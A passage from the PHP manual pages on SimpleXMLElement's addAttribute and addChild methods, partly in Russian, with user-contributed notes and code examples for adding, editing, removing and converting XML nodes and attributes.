        // It also means that tag name of assigned node doesn't matter - its name will be whatever name you specified in {} braces.
        // B: [0]
        // The array access operator ([0]) means that each tag name (type_one and type_two) has its own collection with integer indexes.
        // If you want to add another tag with same name, you should increment index:
        $rootNode->{'type_one'}[1] = $childNode2;
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            array(2) {
                [0]=>
                string(6) "node 2"
                [1]=>
                string(6) "node 2"
            }
            ["type_two"]=>
            string(6) "node 3"
        }
        */

        // Note 1. The value of $childNode1 has been changed to "node 1" - that's because the child node, returned from addChild() method
        // is referenced with parent node. If you change its content in one side - it changes in other side too:
        $childNode1->{0} = 'renewed node 1';
        // But it won't happen with $childNode2 - it is single and has no reference with parent node:
        $childNode2->{0} = 'renewed node 2';
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            array(2) {
                [0]=>
                string(14) "renewed node 1"
                [1]=>
                string(6) "node 2"
            }
            ["type_two"]=>
            string(6) "node 3"
        }
        */

        // Note 2. When you added child nodes, the parent node's string content is still alive, var_dump doesn't show it,
        // but you can see through echoing XML:
        echo "--1--\n".$rootNode->asXML();
        /*
        <xml_root>complex node <--------- here!
                <type_one>renewed node 1</type_one>
                <type_two>node 3</type_two>
                <type_one>node 2</type_one>
        </xml_root>
        */
        // See 'complex node'? Bad news that you can't change string content anymore, if we try to call `$rootNode->{0} = 'something'` -
        // it overrides all content - both string and child nodes! I don't know how to write to string content only in that case.
        // But still you can read string content and remove entire node as described above.

        // So the following statements gives same result, except $result variable value:
        $someNode = new SimpleXMLElement('<div>text</div>');
        $result = $rootNode->addChild('div','text');                    // $result is SimpleXMLElement
        $result = $rootNode->addChild($someNode->getName(),$someNode);  // $result is SimpleXMLElement
        $result = $rootNode->{'div'}[] = 'text*';                       // $result is string 'text*'
        $result = $rootNode->{$someNode->getName()}[] = $someNode;      // $result is string 'text'
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:45
How to view, edit and remove elements.
Speaking in terms of CRUD style, there is no methods to read, edit and remove nodes. But it is possible.

1. How to work with single node and its value (basics)
<?php
        echo "Exercise 1 \n";
        // Create
        $someNode = new SimpleXMLElement('<xml_root>simple node</xml_root>');
        // Read
        echo $someNode->{0} ."\n";      // Echoes "simple node"
        echo $someNode ."\n";           // Echoes "simple node", might be used for read case too
        // Edit
        $someNode->{0} = 'new value';
        echo $someNode->{0} ."\n";      // Echoes "new value", value is changed!
        // Remove
        unset($someNode->{0});

        // Don't touch this node anymore otherwise it will throw a warning:
        // "Warning:  SimpleXMLElement::asXML(): Node no longer exists in <...> on line <...>"
        // echo $someNode ."\n";      // Throws the warning

        // Recap: property access to zero property ($someNode->{0}) is the way to read and edit string content of the node AND
        // to remove the node itself
?>
frame at dynamiccreated dot de 14-Jun-2013 01:36
Important note I miss here in the documentation:

SimpleXML supports Array/Iteration-Methods. Therefore it is possible to

add attributes
edit attributes
remove attributes

add nodes
edit nodes
remove nodes

This is the reason why SimpleXML provides only add-methods not deleting- or editing-methods. We also need this methods because SimpleXML acts as a normal class and
new member will not converted to a new node.

Deleting a node seems not to be possible within a foreach-loop. The reason is simple. To do that we need a valid key, but the Iterator only gives us a "understandable feedback" on which node we are working on: the tag name.

So this will not work:

<?php
foreach($doc->seg as $key => $seg)
{
    if((string)$seg['id'] === 'whatever')
    {
        unset($seg); // only clears local copy
        unset($seg[$key]); // wrong index "seg"
    }
}
?>

But this, eg. will work:
<?php
unset($doc->seg[2]);
?>

In case of doubt always do a print_r/var_dump(). It nicely shows the real linked indexes.
Yukull 15-Feb-2013 01:59
xml to object conversion function :
<?php
/**
    @param:
        $xml: SimpleXMLElement
        $force: set to true to always create 'text', 'attribute', and 'children' even if empty
    @return
        object with attributs:
            (string) name: XML tag name
            (string) text: text content of the attribut name
            (array) attributes: array witch keys are attribute key and values are attribute value
            (array) children: array of objects made with xml2obj() on each child
**/
function xml2obj($xml,$force = false){

    $obj = new StdClass();

    $obj->name = $xml->getName();

    $text = trim((string)$xml);
    $attributes = array();
    $children = array();

    foreach($xml->attributes() as $k => $v){
        $attributes[$k]  = (string)$v;
    }

    foreach($xml->children() as $k => $v){
        $children[] = xml2obj($v,$force);
    }

    if($force or $text !== '')
        $obj->text = $text;

    if($force or count($attributes) > 0)
        $obj->attributes = $attributes;

    if($force or count($children) > 0)
        $obj->children = $children;

    return $obj;
}
?>
heaver 31-May-2012 07:33
XML to JSON conversion without '@attributes'
<?php
function XML2JSON($xml) {

        function normalizeSimpleXML($obj, &$result) {
            $data = $obj;
            if (is_object($data)) {
                $data = get_object_vars($data);
            }
            if (is_array($data)) {
                foreach ($data as $key => $value) {
                    $res = null;
                    normalizeSimpleXML($value, $res);
                    if (($key == '@attributes') && ($key)) {
                        $result = $res;
                    } else {
                        $result[$key] = $res;
                    }
                }
            } else {
                $result = $data;
            }
        }
        normalizeSimpleXML(simplexml_load_string($xml), $result);
        return json_encode($result);
    }
?>
demian dot katz at villanova dot edu 29-Mar-2012 05:50
Here is a more namespace-aware version of the earlier function for attaching one SimpleXMLElement to another.  I'm sure it could still be further improved (right now it generates some redundant xmlns definitions), but it seems to be working well enough for my purposes so far.

function SimpleXMLElement_append($parent, $child)
{
    // get all namespaces for document
    $namespaces = $child->getNamespaces(true);

    // check if there is a default namespace for the current node
    $currentNs = $child->getNamespaces();
    $defaultNs = count($currentNs) > 0 ? current($currentNs) : null;
    $prefix = (count($currentNs) > 0) ? current(array_keys($currentNs)) : '';
    $childName = strlen($prefix) > 1
        ? $prefix . ':' . $child->getName() : $child->getName();

    // check if the value is string value / data
    if (trim((string) $child) == '') {
        $element = $parent->addChild($childName, null, $defaultNs);
    } else {
        $element = $parent->addChild(
            $childName, htmlspecialchars((string)$child), $defaultNs
        );
    }

    foreach ($child->attributes() as $attKey => $attValue) {
        $element->addAttribute($attKey, $attValue);
    }
    foreach ($namespaces as $nskey => $nsurl) {
        foreach ($child->attributes($nsurl) as $attKey => $attValue) {
            $element->addAttribute($nskey . ':' . $attKey, $attValue, $nsurl);
        }
    }

    // add children -- try with namespaces first, but default to all children
    // if no namespaced children are found.
    $children = 0;
    foreach ($namespaces as $nskey => $nsurl) {
        foreach ($child->children($nsurl) as $currChild) {
            SimpleXMLElement_append($element, $currChild);
            $children++;
        }
    }
    if ($children == 0) {
        foreach ($child->children() as $currChild) {
            SimpleXMLElement_append($element, $currChild);
        }
    }
}
saganmarketing.com 12-Mar-2012 12:27
Parsing an invalid XML string through SimpleXML causes the script to crash completely (usually) therefore it is best to make sure the XML is valid before parsing with something like this:

// Must be tested with ===, as in if(isXML($xml) === true){}
// Returns the error message on improper XML
function isXML($xml){
    libxml_use_internal_errors(true);

    $doc = new DOMDocument('1.0', 'utf-8');
    $doc->loadXML($xml);

    $errors = libxml_get_errors();

    if(empty($errors)){
        return true;
    }

    $error = $errors[0];
    if($error->level < 3){
        return true;
    }

    $explodedxml = explode("r", $xml);
    $badxml = $explodedxml[($error->line)-1];

    $message = $error->message . ' at line ' . $error->line . '. Bad XML: ' . htmlentities($badxml);
    return $message;
}
Anonymous 14-Nov-2011 12:34
Warning to anyone trying to parse XML with a key name that includes a hyphen ie.)
<subscribe>
    <callback-url>example url</callback-url>
</subscribe>

In order to access the callback-url you will need to do something like the following:
<?php
$xml = simplexml_load_string($input);
$callback = $xml->{"callback-url"};
?>
If you attempt to do it without the curly braces and quotes you will find out that you are returned a 0 instead of what you want.
juanfhj at gmail dot spam dot me dot not dot com 13-Aug-2011 11:01
To access the underlying element as a string, it's necessary to make the cast $x = (string)$my_xml_element.
dans at dansheps dot com 22-Apr-2011 12:06
I created a little function to parse the simple XML into a structure which is easier to iterate(I believe anyways) than the simpleXML node structure.

<?php
function parseSimpleXML($xmldata)
    {
        $childNames = array();
        $children = array();

        if( $xmldata->count() !== 0 )
        {
            foreach( $xmldata->children() AS $child )
            {
                $name = $child->getName();

                if( !isset($childNames[$name]) )
                {
                    $childNames[$name] = 0;
                }

                $childNames[$name]++;
                $children[$name][] = $this->parseSimpleXML($child);
            }
        }

        $returndata = new XMLNode();
        if( $xmldata->attributes()->count() > 0 )
        {
            $returndata->{'@attributes'} = new XMLAttribute();
            foreach( $xmldata->attributes() AS $name => $attrib )
            {
                $returndata->{'@attributes'}->{$name} = (string)$attrib;
            }
        }

        if( count($childNames) > 0 )
        {
            foreach( $childNames AS $name => $count )
            {
                if( $count === 1 )
                {
                    $returndata->{$name} = $children[$name][0];
                }
                else
                {
                    $returndata->{$name} = new XMLMultiNode();
                    $counter = 0;
                    foreach( $children[$name] AS $data )
                    {
                        $returndata->{$name}->{$counter} = $data;
                        $counter++;
                    }
                }
            }
        }
        else
        {
            if( (string)$xmldata !== '' )
            {
                $returndata->{'@innerXML'} = (string)$xmldata;
            }
        }
        return $returndata;
    }
?>
ms dot n at 163 dot com 11-Feb-2011 10:50
Adds a new function for SimpleXMLElement class, in order to output HTML code.

<?php
class CeiXML extends SimpleXMLElement{
public function asHTML(){
$ele=dom_import_simplexml($this);
$dom = new DOMDocument('1.0', 'utf-8');
$element=$dom->importNode($ele,true);
$dom->appendChild($element);
return $dom->saveHTML();
}
}
?>
Pavel Musil pavel dot musil at gmail dot com 10-Feb-2011 03:18
Simple recursive function to append XML object into SimpleXMLElement node:

<?php
// root: parent element - SimpleXMLElement instance
// append: XML object from simplexml_load_string

function xml_join($root, $append) {
    if ($append) {
        if (strlen(trim((string) $append))==0) {
            $xml = $root->addChild($append->getName());
            foreach($append->children() as $child) {
                xml_join($xml, $child);
            }
        } else {
            $xml = $root->addChild($append->getName(), (string) $append);
        }
        foreach($append->attributes() as $n => $v) {
            $xml->addAttribute($n, $v);
        }
    }
}

$xml_append = simplexml_load_string('<data><items><item id="1">value</item></items></data>');
$xml_root = new SimpleXMLElement('<result></result>');

$cxml = $xml_root->addChild('clone');
xml_join($cxml, $xml_append->items->item[0]);

print $xml_root->asXML();
?>

Result:
<?xml version="1.0"?>
<result>
    <clone>
        <item id="1">
            value
        </item>
    </clone>
</result>
rmirabelle 08-Nov-2010 09:42
To further previous comments and drive the point home:

What makes SimpleXMLElement tricky to work with is that it feels and behaves like an object, but is actually a system RESOURCE,  (specifically a libxml resource).

That's why you can't store a SimpleXMLElement to $_SESSION or perform straight comparison operations on node values without first casting them to some type of object.  $_SESSION expects to store 'an object' and comparison operators expect to compare 2 'objects' and SimpleXMLElements are not objects.

When you echo or print a node's value, PHP converts the value (a resource) into a string object for you.  It's a time saver for sure, but can fool you into thinking that your SimpleXMLElement is an object.

Hope this helps clarify
joshduck at gmail dot com 28-Sep-2010 05:00
You should cast elements to a float (or even string) if you plan on using them in addition, multiplication, etc. If you don't then PHP will incorrectly treat the node values as an integer.

<?php
$obj = new SimpleXMLElement('<root>
    <a>1.9</a>
    <b>1.9</b>
</root>');

var_dump($obj->a + $obj->b);
var_dump((float)$obj->a + (float)$obj->b);
var_dump((string)$obj->a + (string)$obj->b);
?>

The first line gives: int(2)
The second and third give the expected result: float(3.8)
francs at seznam dot cz 23-Sep-2010 05:28
Be aware when you trying to cast some attribute to boolean.

(boolean)$xml->attributes()->someAtt;

returns TRUE if attribute is array([0] => 0);

use (boolean)(int) instead.
kweij at lsg dot nl 26-Jul-2010 04:47
I'm using SimpleXML for, ofcourse, it's simplicity, however I did wanted to manipulate the xml and combining one SimpleXMLElement with any other, so I wrote this function to add a SimpleXMLElement-child.

<?php
function SimpleXMLElement_append($key, $value) {
    // check class
    if ((get_class($key) == 'SimpleXMLElement') && (get_class($value) == 'SimpleXMLElement')) {
        // check if the value is string value / data
        if (trim((string) $value) == '') {
            // add element and attributes
            $element = $key->addChild($value->getName());
            foreach ($value->attributes() as $attKey => $attValue) {
                $element->addAttribute($attKey, $attValue);
            }
            // add children
            foreach ($value->children() as $child) {
                SimpleXMLElement_append($element, $child);
            }
        } else {
            // set the value of this item
            $element = $key->addChild($value->getName(), trim((string) $value));
        }
    } else {
        // throw an error
        throw new Exception('Wrong type of input parameters, expected SimpleXMLElement');
    }
}
?>

I'd recommend SimpleXMLElement to extend it's addChild() function with the functionalitity above.
cherubangel at gmail dot com 02-Jul-2010 04:28
Note that changing attributes from within a foreach loop, especially namespaced attributes, can be very tricky.

For example, when trying to change the value of an existing xlink:href attribute:
<?php
foreach($xmlelement -> attributes('xlink', true) as $attribute => $attribvalue){
    $attribvalue[0] = 'value'; // Throws an error
    $attribvalue = 'value'; // Does not change your XML
    $xmlelement -> addAttribute($attribute, 'value', 'http://www.w3.org/1999/xlink'); // Adds an attribute, does not change existing one.
    $xmlelement[$attribute] = 'value'; // Adds an attribute, does not change existing one.
}
?>

Instead, you should access the array returned by the attributes() function directly, like this:
<?php
    $xmlelement -> attributes('xlink', true) -> href = 'value'; // Works!
?>
php at keith tyler dot com 19-Feb-2010 06:23
The root node element of your input XML string is not retrievable as a property.

<?php
$xml="<foo>bar</foo>";
$sxe=new SimpleXMLElement($xml);
print $sxe->foo;
?>

prints nothing. You can only get to the root element via the array index method ($sxe[0]).

Also, you may not have two (or more) root elements -- that is apparently not well-formed XML.

<?php
$xml="<foo/><bar/>";
$sxe=new SimpleXMLElement($xml);
?>

throws an exception. A Q&D is to append an arbitraty root node structure to both ends of the input:

<?php
$xml="<foo/><bar/>";
$sxe=new SimpleXMLElement("<z>".$xml."</z>");
?>

Doing this also solves the above problem of root node property accessibility. (It may not work if your XML string includes a declaration.)
triplepoint at gmail dot com 19-Dec-2009 04:19
It's occasionally useful to add an XML processing instruction to a SimpleXMLElement (treating it as if it were a full document).
<?php
class SimpleXMLElement_Plus extends SimpleXMLElement {

    public function addProcessingInstruction( $name, $value )
    {
        // Create a DomElement from this simpleXML object
        $dom_sxe = dom_import_simplexml($this);

        // Create a handle to the owner doc of this xml
        $dom_parent = $dom_sxe->ownerDocument;

        // Find the topmost element of the domDocument
        $xpath = new DOMXPath($dom_parent);
        $first_element = $xpath->evaluate('/*[1]')->item(0);

        // Add the processing instruction before the topmost element
        $pi = $dom_parent->createProcessingInstruction($name, $value);
        $dom_parent->insertBefore($pi, $first_element);
    }
}
?>

For example, if you had a simpleXMLElement_Plus object made out of the xml fragment:
<xml><content /></xml>

And you needed the output to be:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="xsl/xsl.xsl"?>
<xml><content/></xml>

you could do (using the class above):
<?php
$xml = new SimpleXMLElement_Plus('<xml><content /></xml>');
$xml->addProcessingInstruction('xml-stylesheet', 'type="text/xsl" href="xsl/xsl.xsl"');
echo $xml->asXML();
?>
ivandosreisandrade at gmail dot com 19-Nov-2009 06:55
Hello,

here goes my contribution for those whom are struggling to understand how SimpleXMLElement works.

After some time trying to figure out how this works, I've came up to this small example:

<?php
    $xmlstr = "<?xml version='1.0' ?>\n".
              // optionally you can specify a xml-stylesheet for presenting the results. just uncoment the following line and change the stylesheet name.
              /* "<?xml-stylesheet type='text/xsl' href='xml_style.xsl' ?>\n". */
              "<book></book>";

    // create the SimpleXMLElement object with an empty <book> element
    $xml = new SimpleXMLElement($xmlstr);

    // add some child nodes
    $xml->addChild("title", "Title of my book");
    $xml->addChild("abstract", "My book is about learning to work with SimpleXMLElement");

    // add some more child nodes
    $chapter1 = $xml->addChild("chapter_1");
    // add an attribute to child chapter_1
    $chapter1->addAttribute("chapter_title", "Introduction to my book");

    $chapter2 = $xml->addChild("chapter_2");
    $chapter2->addAttribute("chapter_title", "Development of my book");

    $chapter3 = $xml->addChild("chapter_3");
    $chapter3->addAttribute("chapter_title", "Another chapter of my book");

    $conclusion = $xml->addChild("conclusion", "The ending of my book");

    // insert the header to tell the browser how to read the document
    header("Content-type: text/xml");
    // print the SimpleXMLElement as a XML well-formed string
    echo $xml->asXML();
?>

With this script you can just copy-paste and try to understand how it works.
I hope it can help somebody :)
brett at brettbrewer dot com 27-Oct-2009 04:53
Figuring out how to access the properties of a SimpleXmlElement object was a little tricky for me. In particular, it took a while to discover that I needed to cast my SimpleXmlElement properties to be of type "string" to print them or do comparisons on them. For instance, assuming you already have a string of xml in $xmlstr...

<?php
$sxml= new SimpleXmlElement($xmlstr);

if ((string) $sxml->property== "somevalue") {
    echo (string) $sxml->property;
}
?>
The properties of a SimpleXmlElement object are objects themselves, so you need to put "(string)" before them, which casts their values to a string instead of an object. I assume if you were doing a numeric comparison you'd want to cast to an (int) or something numeric instead.


Добавляет атрибут к SimpleXML-элементу

  • « SimpleXMLElement
  • SimpleXMLElement::addChild »
  • PHP Manual
  • SimpleXMLElement
  • Добавляет атрибут к SimpleXML-элементу

SimpleXMLElement::addAttribute

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SimpleXMLElement::addAttribute — Добавляет атрибут к SimpleXML-элементу

Описание

public SimpleXMLElement::addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void

Добавляет атрибут к SimpleXML-элементу.

Список параметров

qualifiedName

Название добавляемого атрибута.

value

Значение атрибута.

namespace

Необязательный параметр указывает на пространство имён, к которому принадлежит атрибут.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Замечание:

Перечисленные примеры могут включать example.php, в котором определяется XML-строка, расположенная в первом примере руководства по базовому использованию.

Пример #1 Добавление атрибутов и потомков к SimpleXML-элементу

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
$sxe->addAttribute('type', 'documentary');

$movie = $sxe->addChild('movie');
$movie->addChild('title', 'PHP2: Истории парсера');
$movie->addChild('plot', 'Все о людях, создававших его.');

$characters = $movie->addChild('characters');
$character = $characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movie->addChild('rating', '5');
$rating->addAttribute('type', 'stars');

echo $sxe->asXML();

?>

Вывод приведённого примера будет похож на:

<?xml version="1.0" standalone="yes"?>
<movies type="documentary">
 <movie>
  <title>PHP: Появление Парсера</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   Итак, этот язык. Типа, язык программирования. Или
   это скриптовый язык? Все раскрывается в этом документальном фильме,
   похожем на фильм ужасов.
  </plot>
  <great-lines>
   <line>PHP решает все мои задачи в web</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
 <movie>
  <title>PHP2: Истории парсера</title>
  <plot>Все о людях, создававших его.</plot>
  <characters>
   <character>
    <name>Mr. Parser</name>
    <actor>John Doe</actor>
   </character>
  </characters>
  <rating type="stars">5</rating>
 </movie>
</movies>

Смотрите также

  • SimpleXMLElement::addChild() - Добавляет дочерний элемент к узлу XML
  • Основы работы с модулем SimpleXML

User Contributed Notes

caffeinatedbits 09-Dec-2022 10:50
Just found another gem. Need to remove an attribute? That's simple too!

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog breed="chihuahua"/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

echo $animals->Dog->asXML();
// <Dog breed="chihuahua"/>

unset($animals->Dog['breed']);

echo $animals->Dog->asXML();
// <Dog/>

?>
caffeinatedbits 09-Dec-2022 10:26
I needed a way to update an attribute, but I could not find any documented way to do this.

After much experimentation, here's my findings of what works - the answer was so simple it took me 8 tries to figure it out :-)

Given the following example:

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

echo $animals->Dog->asXML();
// <Dog/>

?>

Test #6 - maybe directly modifying the attributes() Iterator like an array will secretly call __set() magic method?

TL;DR: yep

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$dogAttrs = $animals->Dog->attributes();
// object(SimpleXMLElement)#4 (1) {
// ["@attributes"]=>
//   array(1) {
//     ["breed"]=>
//     string(9) "chihuahua"
//   }
// }

$dogAttrs['breed'] = "poodle";
// works!

echo $animals->Dog->asXML();
// <Dog breed="poodle">

?>

Test #7 - maybe I don't even need to call attributes() at all?

TL;DR: I sure don't!

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$animals->Dog['breed'] = "poodle";
// works!

echo $animals->Dog->asXML();
// <Dog breed="poodle">

?>

Test #8 - Maybe I never needed to call addAttribute() in the first place?

TL;DR: nope, I can skip that altogether!

<?php

...

$animals->Dog['breed'] = "chihuahua";
// works!

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$animals->Dog['breed'] = "poodle";
// works!

echo $animals->Dog->asXML();
// <Dog breed="poodle">

?>

FYI: I also submitted another separate note with what does NOT work just in case you, like me, are curious and tempted to try another way.
caffeinatedbits 09-Dec-2022 10:25
I needed a way to update an attribute, but I could not find any documented way to do this.

TL;DR: It's not only possible, but unbelievably simple. See the other note I submitted for what actually works (sorry, I could not fit it all in a single note due to the 4095 character limit).

After much experimentation, here's my findings of what does NOT work; hopefully, it saves you the time and frustration it cost me.

Given the following example:

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

echo $animals->Dog->asXML();
// <Dog/>

?>

Test #1 - attempt to call addAttribute() twice

TL;DR: PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua"/>

$animals->Dog->addAttribute('breed', "poodle");
// PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

echo $animals->Dog->asXML();
// <Dog breed="chihuahua"/>

?>

Test #2 - attempt to iterate attributes() (an Iterator) by reference

TL;DR: An iterator cannot be used with foreach by reference

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

try {
    foreach ($animals->Dog->attributes() as $attr => &$value) {
        if ("breed" === $attr) {
            $value = "poodle";
        }
    }
} catch (Throwable $e) {
    echo $e->getMessage();
    // An iterator cannot be used with foreach by reference
}

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>

Test #3 - attempt to re-parse child element and then call addAttribute() on the newly parsed element, as suggested in a note I found here

TL;DR: PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$animals->Dog = new SimpleXMLElement($animals->asXML());

$animals->Dog->addAttribute('breed', "poodle");
// PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>

Test #4 - attempt to modify @attributes array element

TL;DR: PHP Notice:  Indirect modification of overloaded element of SimpleXMLElement has no effect

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$dogAttrs = $animals->Dog->attributes();
// object(SimpleXMLElement)#4 (1) {
// ["@attributes"]=>
//   array(1) {
//     ["breed"]=>
//     string(9) "chihuahua"
//   }
// }

$dogAttrs['@attributes']['breed'] = "poodle";
// PHP Notice:  Indirect modification of overloaded element of SimpleXMLElement has no effect

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>

Test #5 - cast attributes() to array and set value of 'breed' element

TL;DR: does not update value in original object

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$dogAttrs = (array) $animals->Dog->attributes();
// array(1) {
//     ["@attributes"]=>
//   array(1) {
//         ["breed"]=>
//     string(9) "chihuahua"
//   }
// }

$dogAttrs['@attributes']['breed'] = "poodle";

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>
Patanjali 10-Apr-2016 10:37
You cannot use this to update an existing attribute's value.

Instead, get a DOM version of the SimpleXMLElement and use setAttribute, as per:

$XML = '<element a="aa">Text</element>';
$snode = new simple_xml_element($XML);

$dnode = dom_import_simplexml($snode);
$dnode->setAttribute('a', 'bb');

Resulting XML for the node is:
<element a="bb">Text</element>
p.servus 18-Nov-2011 05:42
If you need an Namespace, you must write a Prefix of the Namespace + the Name of the Attribute ("prefix:name") as the first parameter AND the uri as the third one. (I don't know why?!)

Example code:
<?php
$xml = new SimpleXMLElement("<packagedElement></packagedElement>");
$xml->addAttribute("xmi:type", "uml:Class", "http://schema.omg.org/spec/XMI/2.1");
echo $xml->asXml();
?>

Output:
<packagedElement xmlns:xmi="http://schema.omg.org/spec/XMI/2.1" xmi:type="uml:Class"></packagedElement>
sarlak 07-May-2011 07:49
You can access a node child with his name this way :

<?php
$root = new SimpleXMLElement($filePath);
echo $root->nodeName->attributes;

// It works recursivly so this will work too
echo $root->nodeName->subNodeName->attributes();
?>

But if you want to ADD an attribute to a children you MUST use the children() method to access and modfiy it or it will modify the parent's attributes.

<?php
// Add a subnode
$element->nodeName->addChild('subNodeName', "whatever you want");

// Get the pos in the childrens of the parent node
$lastNodePos = $element->nodeName->count()-1;

// Get the parents node childrens
$nodeChildrens = $element->nodeName->children();

// Add an attribute to the last created
$nodeChildrens[$lastNodePos]->addAttribute('attributeName', "The attribute value);
?>
booleer at yahoo dot it 16-Dec-2010 09:44
If the attribute already exists, addAttribute does nothing.

example:
<?php
$xml_string = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root>
   <item id="foo">
<root>
XML;

$xml = simplexml_load_string($xml_string);
$xml->item->addAttribute('id', 'bar');
echo $xml->asXML();
?>

The above examples will output:
<?xml version="1.0" encoding="UTF-8"?>
<root>
   <item id="foo">
<root>


Добавляет дочерний элемент к узлу XML

  • « SimpleXMLElement::addAttribute
  • SimpleXMLElement::asXML »
  • PHP Manual
  • SimpleXMLElement
  • Добавляет дочерний элемент к узлу XML

SimpleXMLElement::addChild

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SimpleXMLElement::addChild — Добавляет дочерний элемент к узлу XML

Описание

public SimpleXMLElement::addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement

Добавляет дочерний элемент к узлу и возвращает потомка SimpleXMLElement.

Список параметров

qualifiedName

Имя добавляемого дочернего элемента.

value

Если указано, то значение (содержимое) дочернего элемента.

namespace

Если указано, то пространство имён, к которому принадлежит дочерний элемент.

Возвращаемые значения

Метод addChild возвращает объект SimpleXMLElement, представляющий добавленного потомка к узлу XML в случае успешного выполнения; null в случае возникновения ошибки.

Примеры

Замечание:

Перечисленные примеры могут включать example.php, в котором определяется XML-строка, расположенная в первом примере руководства по базовому использованию.

Пример #1 Добавление атрибутов и потомков к элементу SimpleXML

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
$sxe->addAttribute('type', 'documentary');

$movie = $sxe->addChild('movie');
$movie->addChild('title', 'PHP2: Истории парсера');
$movie->addChild('plot', 'Все о людях, создававших его.');

$characters = $movie->addChild('characters');
$character = $characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movie->addChild('rating', '5');
$rating->addAttribute('type', 'stars');

echo $sxe->asXML();

?>

Вывод приведённого примера будет похож на:

<?xml version="1.0" standalone="yes"?>
<movies type="documentary">
 <movie>
  <title>PHP: Появление Парсера</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   Таким образом, это язык. Это всё равно язык программирования. Или
   это скриптовый язык? Все раскрывается в этом документальном фильме,
   похожем на фильм ужасов.
  </plot>
  <great-lines>
   <line>PHP решает все мои задачи в web</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
 <movie>
  <title>PHP2: Истории парсера</title>
  <plot>Все о людях, создававших его.</plot>
  <characters>
   <character>
    <name>Mr. Parser</name>
    <actor>John Doe</actor>
   </character>
  </characters>
  <rating type="stars">5</rating>
 </movie>
</movies>

Смотрите также

  • SimpleXMLElement::addAttribute() - Добавляет атрибут к SimpleXML-элементу
  • Основы работы с модулем SimpleXML

User Contributed Notes

fluxlicious at gmail dot com 23-Jan-2023 11:18
The class below allows you to write CDATA and to add additional attributes.

<?php
class SimpleXMLElementExtended extends \SimpleXMLElement
{
    public function addChildWithCData($name, $value)
    {
        $child = parent::addChild($name);
        $element = dom_import_simplexml($child);
        $docOwner = $element->ownerDocument;
        $element->appendChild($docOwner->createCDATASection($value));
        return $child;
    }
}
?>

Example:
<?php
        $xml = new SimpleXMLElementExtended('<xml></xml>');
        $content = $xml->addChildWithCData('content', 'Title of the page');
        $content->addAttribute('id', 1);
        $content->addAttribute('enabled', 'true');

        // Output:
        // <xml>
        //   <content id="1" enabled="true"><![CDATA[Title of the page]]></content>
        // </xml>
?>
caffeinatedbits 09-Dec-2022 11:31
Just in case anyone else, like me, was trying to figure out a way to remove child elements...

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog breed="chihuahua"/>
    <Dog breed="poodle"/>
    <Dog breed="invalid"/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

unset($animals->Dog[2]);

echo $animals->asXML();

// <?xml version="1.0" encoding="utf-8"?>
// <Animals>
//         <Dog breed="chihuahua"/>
//         <Dog breed="poodle"/>
//
// </Animals>

?>

Note: you cannot remove elements while iterating children, otherwise it will break the Iterator. Example:

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog breed="chihuahua"/>
    <Dog breed="poodle"/>
    <Dog breed="invalid"/>
</Animals>
EOF;

